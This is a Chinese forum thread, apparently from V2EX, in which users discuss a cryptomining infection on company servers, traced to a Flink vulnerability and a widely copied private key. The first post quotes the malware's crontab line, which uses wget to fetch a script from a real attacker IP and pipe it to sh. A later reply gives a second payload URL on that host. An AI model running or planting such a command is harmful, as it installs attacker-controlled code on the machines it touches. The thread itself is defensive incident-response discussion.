公司服务器被攻击了！

[leiuu]

周六公司服务器被大面积攻击，植入挖矿程序，cpu 被打爆。

怀疑是通过某个开源框架的远程执行漏洞进来的，但不知道是从具体哪个机器进入。

该病毒基本特征：

• 会增加一个 crontab 任务到一个或多个用户。远程下载挖矿脚本到 tmp 目录。

* * * * * wget -q -O - http://185.191.32.198/spr.sh |sh > /dev/null 2>&1

• 启动多个「 kdevtmpfsi 」进程，之后机器 cpu 资源被几乎耗尽。

涉及的服务器很多，v 友们有什么好的分析思路分享吗？

[ugorange]

推荐一下我们出的开源的 HIDS ，可以监控入侵行为
https://github.com/bytedance/Elkeid

[hubahuba]

@ugorange 当场抓获！

[leiuu]

@ugorange 学习了。👍。

[dier]

我们的是周末 gitlab 版本太老，有漏洞导致 gitlab 的容器被入侵。不过还好只是在容器内部，销毁当前容器重建就好了。然后连夜一路长征升级到了最新版本😌

[leiuu]

@dier git 可太重要了。备份 N 个都不过分。

[dier]

@leiuu 是的，就是怕出事，所以每天有定时备份

[leiuu]

@0x73346b757234 thx 。分享的腾讯系列的文章有帮助。排查了一下这次是利用了 flink 漏洞。补充到附言啦。

[leiuu]

结帖了。最终发现病毒进一步扩散的主要原因是，是私钥被其他人误操作复制到多台机器，该私钥权限机器很多。

[abychan]

9 天前我的服务器也被攻击了，http://185.191.32.198/pg.sh ，顺着这个地址找过来了，原因是 postgres 密码被暴力破解

[leiuu]

@abychan 有点丧心病狂。是开放到外网的 pg ？

[loveminds]

inetnum: 185.191.32.0 - 185.191.33.255
netname: RU-ITRESHENIYA
country: RU
org: ORG-ITR1-RIPE
admin-c: ITR30-RIPE
tech-c: ITR30-RIPE
status: ASSIGNED PA
mnt-by: IP-RIPE
mnt-routes: MNT-SELECTEL
created: 2020-07-20T05:54:06Z
last-modified: 2021-10-05T19:15:11Z
source: RIPE

organisation: ORG-ITR1-RIPE
org-name: IT Resheniya LLC
org-type: OTHER
address: ul. Novoselov, d. 8A, of. 692
address: 193079 Saint Petersburg
address: Russia
abuse-c: ITR30-RIPE
mnt-ref: IP-RIPE
mnt-by: IP-RIPE
created: 2021-10-05T19:08:37Z
last-modified: 2021-10-05T19:15:03Z
source: RIPE # Filtered

role: IT Resheniya LLC
address: ul. Novoselov, d. 8A, of. 692
address: 193079 Saint Petersburg
address: Russia
abuse-mailbox: abuse(AT)hostway.ru
phone: [phone]
nic-hdl: ITR30-RIPE
mnt-by: IP-RIPE
created: 2021-10-05T19:08:38Z
last-modified: 2021-10-05T19:08:38Z
source: RIPE # Filtered

直接给 abuse(AT)hostway.ru 丢 abuse ，或者这里提交个工单看看？
https://billing.hostway.ru/index.php?/tickets/&roistat_visit=16278

[e583409]

@ugorange 感谢 我关注一下

[e583409]

@ugorange 感谢